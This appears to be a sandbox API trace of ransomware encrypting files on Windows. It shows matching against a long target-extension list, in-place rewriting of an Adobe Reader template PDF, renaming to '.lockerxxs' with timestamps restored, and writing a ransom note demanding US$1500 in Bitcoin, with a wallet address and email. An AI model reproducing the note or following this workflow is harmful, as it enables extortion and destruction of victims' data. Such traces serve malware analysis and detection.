PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.dat") returned 0 [0068.825] lstrlenA (lpString="*.dat") returned 5 [0068.825] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.txt") returned 0 [0068.825] lstrlenA (lpString="*.txt") returned 5 [0068.825] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.jpeg") returned 0 [0068.825] lstrlenA (lpString="*.jpeg") returned 6 [0068.825] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.jpg") returned 0 [0068.825] lstrlenA (lpString="*.jpg") returned 5 [0068.825] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.png") returned 0 [0068.825] lstrlenA (lpString="*.png") returned 5 [0068.825] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.php") returned 0 [0068.825] lstrlenA (lpString="*.php") returned 5 [0068.825] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.cs") returned 0 [0068.825] lstrlenA (lpString="*.cs") returned 4 [0068.825] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.cpp") returned 0 [0068.826] lstrlenA (lpString="*.cpp") returned 5 [0068.826] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.rar") returned 0 [0068.826] lstrlenA (lpString="*.rar") returned 5 [0068.826] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.zip") returned 0 [0068.826] lstrlenA (lpString="*.zip") returned 5 [0068.826] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.html") returned 0 [0068.826] lstrlenA (lpString="*.html") returned 6 [0068.826] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.htm") returned 0 [0068.826] lstrlenA (lpString="*.htm") returned 5 [0068.826] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.xlsx") returned 0 [0068.826] lstrlenA (lpString="*.xlsx") returned 6 [0068.826] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.xls") returned 0 [0068.826] lstrlenA (lpString="*.xls") returned 5 [0068.826] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.mp4") returned 0 [0068.826] lstrlenA (lpString="*.mp4") returned 5 [0068.826] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.ppt") returned 0 [0068.826] lstrlenA (lpString="*.ppt") returned 5 [0068.826] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.pptx") returned 0 [0068.826] lstrlenA (lpString="*.pptx") returned 6 [0068.826] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.doc") returned 0 [0068.827] lstrlenA (lpString="*.doc") returned 5 [0068.827] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.dot") returned 0 [0068.827] lstrlenA (lpString="*.dot") returned 5 [0068.827] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.docx") returned 0 [0068.827] lstrlenA (lpString="*.docx") returned 6 [0068.827] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.7z") returned 0 [0068.827] lstrlenA (lpString="*.7z") returned 4 [0068.827] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.tar") returned 0 [0068.827] lstrlenA (lpString="*.tar") returned 5 [0068.827] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.bz2") returned 0 [0068.827] lstrlenA (lpString="*.bz2") returned 5 [0068.827] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.gz") returned 0 [0068.827] lstrlenA (lpString="*.gz") returned 4 [0068.827] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.mkv") returned 0 [0068.827] lstrlenA (lpString="*.mkv") returned 5 [0068.827] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.827] lstrlenA (lpString="*.eml") returned 5 [0068.827] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.msg") returned 0 [0068.828] lstrlenA (lpString="*.msg") returned 5 [0068.828] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.edb") returned 0 [0068.828] lstrlenA (lpString="*.edb") returned 5 [0068.828] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.accdb") returned 0 [0068.828] lstrlenA (lpString="*.accdb") returned 7 [0068.828] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.odb") returned 0 [0068.828] lstrlenA (lpString="*.odb") returned 5 [0068.828] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.java") returned 0 [0068.828] lstrlenA (lpString="*.java") returned 6 [0068.828] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.asm") returned 0 [0068.828] lstrlenA (lpString="*.asm") returned 5 [0068.828] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.pfx") returned 0 [0068.828] lstrlenA (lpString="*.pfx") returned 5 [0068.828] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.pem") returned 0 [0068.828] lstrlenA (lpString="*.pem") returned 5 [0068.828] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.p12") returned 0 [0068.828] lstrlenA (lpString="*.p12") returned 5 [0068.828] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.gpg") returned 0 [0068.828] lstrlenA (lpString="*.gpg") returned 5 [0068.828] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.vsd") returned 0 [0068.829] lstrlenA (lpString="*.vsd") returned 5 [0068.829] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.odg") returned 0 [0068.829] lstrlenA (lpString="*.odg") returned 5 [0068.829] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.raw") returned 0 [0068.829] lstrlenA (lpString="*.raw") returned 5 [0068.829] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.nef") returned 0 [0068.829] lstrlenA (lpString="*.nef") returned 5 [0068.829] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.svg") returned 0 [0068.829] lstrlenA (lpString="*.svg") returned 5 [0068.829] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.psd") returned 0 [0068.829] lstrlenA (lpString="*.psd") returned 5 [0068.829] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.vmx") returned 0 [0068.829] lstrlenA (lpString="*.vmx") returned 5 [0068.829] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.vmdk") returned 0 [0068.829] lstrlenA (lpString="*.vmdk") returned 6 [0068.829] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.vdi") returned 0 [0068.829] lstrlenA (lpString="*.vdi") returned 5 [0068.829] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.lay6") returned 0 [0068.829] lstrlenA (lpString="*.lay6") returned 6 [0068.830] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.mpeg") returned 0 [0068.830] lstrlenA (lpString="*.mpeg") returned 6 [0068.830] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.djvu") returned 0 [0068.830] lstrlenA (lpString="*.djvu") returned 6 [0068.830] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.tiff") returned 0 [0068.830] lstrlenA (lpString="*.tiff") returned 6 [0068.830] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.backup") returned 0 [0068.830] lstrlenA (lpString="*.backup") returned 8 [0068.830] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.pdf") returned 1 [0068.830] lstrlenA (lpString="*.pdf") returned 5 [0068.830] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf" [0068.830] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf" [0068.830] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf." [0068.830] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf.lockerxxs" [0068.830] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.831] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10f09 [0068.831] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x98a32700, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x805b4280, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x98a32700, dwHighDateTime=0x1cb84b4)) returned 1 [0068.831] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.831] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x10ee3, lpOverlapped=0x0) returned 1 [0068.835] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf") returned="DefaultID.pdf" [0068.836] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.836] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x10ee3, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x10ee3, lpOverlapped=0x0) returned 1 [0068.836] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.836] CloseHandle (hObject=0x94) returned 1 [0068.838] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\defaultid.pdf.lockerxxs")) returned 1 [0068.839] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10f09, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0068.839] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0068.839] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="RUM", cAlternateFileName="")) returned 1 [0068.839] lstrcmpA (lpString1=".", lpString2="RUM") returned -1 [0068.839] lstrcmpA (lpString1="..", lpString2="RUM") returned -1 [0068.839] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*.*") returned="*.*" [0068.839] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\", lpString2="RUM" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM" [0068.839] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM") returned 63 [0068.839] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0068.843] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0068.843] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0068.843] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0068.843] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0068.843] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5891, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0068.843] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.843] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdobeID.pdf") returned 1 [0068.844] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdobeID.pdf") returned 1 [0068.844] lstrcmpiA (lpString1="", lpString2="AdobeID.pdf") returned -1 [0068.844] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\*.*") returned="*.*" [0068.844] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\" [0068.844] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\") returned="" [0068.844] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\HOW TO DECRYPT FILES.txt" [0068.844] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\how to decrypt files.txt")) returned 0xffffffff [0068.844] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.845] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0068.845] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0068.847] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0068.847] CloseHandle (hObject=0x94) returned 1 [0068.847] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\", lpString2="AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf" [0068.847] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.ems") returned 0 [0068.847] lstrlenA (lpString="*.ems") returned 5 [0068.847] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.db") returned 0 [0068.847] lstrlenA (lpString="*.db") returned 4 [0068.847] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.dbf") returned 0 [0068.847] lstrlenA (lpString="*.dbf") returned 5 [0068.848] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.myox") returned 0 [0068.848] lstrlenA (lpString="*.myox") returned 6 [0068.848] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.myo") returned 0 [0068.848] lstrlenA (lpString="*.myo") returned 5 [0068.848] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.qbw") returned 0 [0068.848] lstrlenA (lpString="*.qbw") returned 5 [0068.848] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.qbb") returned 0 [0068.848] lstrlenA (lpString="*.qbb") returned 5 [0068.848] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.qbm") returned 0 [0068.848] lstrlenA (lpString="*.qbm") returned 5 [0068.848] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.qbo") returned 0 [0068.848] lstrlenA (lpString="*.qbo") returned 5 [0068.848] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.qbx") returned 0 [0068.848] lstrlenA (lpString="*.qbx") returned 5 [0068.848] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.qba") returned 0 [0068.848] lstrlenA (lpString="*.qba") returned 5 [0068.848] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.qby") returned 0 [0068.848] lstrlenA (lpString="*.qby") returned 5 [0068.848] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.qbj") returned 0 [0068.849] lstrlenA (lpString="*.qbj") returned 5 [0068.849] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.ofx") returned 0 [0068.849] lstrlenA (lpString="*.ofx") returned 5 [0068.849] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.qif") returned 0 [0068.849] lstrlenA (lpString="*.qif") returned 5 [0068.849] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.mye") returned 0 [0068.849] lstrlenA (lpString="*.mye") returned 5 [0068.849] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.mbox") returned 0 [0068.849] lstrlenA (lpString="*.mbox") returned 6 [0068.849] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf", pszSpec="*.eml") returned 0 